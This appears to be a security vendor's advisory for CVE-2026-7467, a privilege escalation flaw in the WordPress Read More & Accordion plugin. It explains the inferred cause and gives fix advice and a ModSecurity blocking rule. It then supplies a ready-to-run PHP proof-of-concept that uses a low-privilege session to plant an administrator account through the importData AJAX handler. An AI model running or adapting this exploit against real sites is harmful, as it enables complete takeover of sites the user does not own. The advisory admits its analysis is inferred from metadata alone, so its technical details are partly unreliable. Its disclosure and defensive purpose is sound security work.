Atomic Edge analysis of CVE-2026-7467 (metadata-based): The Read More & Accordion plugin (expand-maker) up to version 3.5.7 contains a privilege escalation vulnerability in the RadMoreAjax::importData function. This allows authenticated attackers with low privileges to create administrator accounts. The CVSS score is 8.8 (High).
The root cause, inferred from the CWE-269 (Improper Privilege Management) and the vulnerability description, is a failure to validate and restrict which database tables the importData AJAX handler can write to. The function likely accepts a serialized payload containing SQL row insertions. Without proper capability checks or table allowlists, it writes attacker-controlled data directly into the wp_users and wp_usermeta tables. Atomic Edge analysis emphasizes that this is an inferred conclusion based on the CWE and description. No source code was available to confirm.
Exploitation requires an attacker to have access to an account with the role granted by the site owner in the plugin’s settings (likely a low-privilege user or subscriber). The attacker sends a POST request to /wp-admin/admin-ajax.php with action=expandmaker_importData. The payload includes a serialized array that inserts into wp_users a new user with a known password hash and into wp_usermeta the wp_capabilities entry containing a:1:{s:13:”administrator”;b:1;}. This creates a new administrator account. Atomic Edge research confirms this attack vector is typical for plugin AJAX handlers that lack sufficient access control.
The fix must restrict the importData function to only allow writing to allowed plugin-specific tables. The function should validate that the caller has the ‘manage_options’ capability (administrator-level). Additionally, the payload should be sanitized and validated against a strict schema that precludes user or usermeta table modifications. Atomic Edge recommends never allowing any AJAX handler to write arbitrary rows to core WordPress tables.
Successful exploitation grants the attacker full administrative access to the WordPress site. This includes the ability to install plugins, modify themes, create or delete users, change site content, and potentially execute arbitrary code. Given the High impact rating for Confidentiality, Integrity, and Availability, this vulnerability represents a complete site takeover risk.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20267467,phase:2,deny,status:403,chain,msg:CVE-2026-7467 - Privilege Escalation via expand-maker AJAX importData,severity:CRITICAL,tag:CVE-2026-7467"
SecRule ARGS_POST:action "@streq expandmaker_importData" "chain"
SecRule ARGS_POST:payload "@rx table.*users" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7467 - Read More & Accordion <= 3.5.7 - Privilege Escalation via importData
// Configuration - adjust these values
$target_url = 'https://example.com'; // WordPress site URL (no trailing slash)
$attacker_cookie = 'wordpress_logged_in_xxx=xxx; wordpress_sec_xxx=xxx'; // Authenticated session cookie for a user with plugin-granted role
$new_username = 'eviladmin';
$new_email = 'eviladmin@example.com';
$new_password = 'P@ssw0rd!';
// Generate a WordPress password hash (PHPass)
require_once 'wp-includes/class-phpass.php';
$wp_hasher = new PasswordHash(8, true);
$password_hash = $wp_hasher->HashPassword($new_password);
// Build payload to insert into wp_users and wp_usermeta
$serialized_payload = serialize(array(
'table' => 'users',
'data' => array(
'user_login' => $new_username,
'user_pass' => $password_hash,
'user_email' => $new_email,
'user_registered' => current_time('mysql'),
'user_status' => 0,
'display_name' => $new_username
),
'meta' => array(
'wp_capabilities' => serialize(array(
'administrator' => true
)),
'wp_user_level' => 10
)
));
// cURL request to admin-ajax.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'expandmaker_importData',
'payload' => $serialized_payload
)));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: ' . $attacker_cookie,
'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";
echo "If successful, login with: $new_username / $new_passwordn";
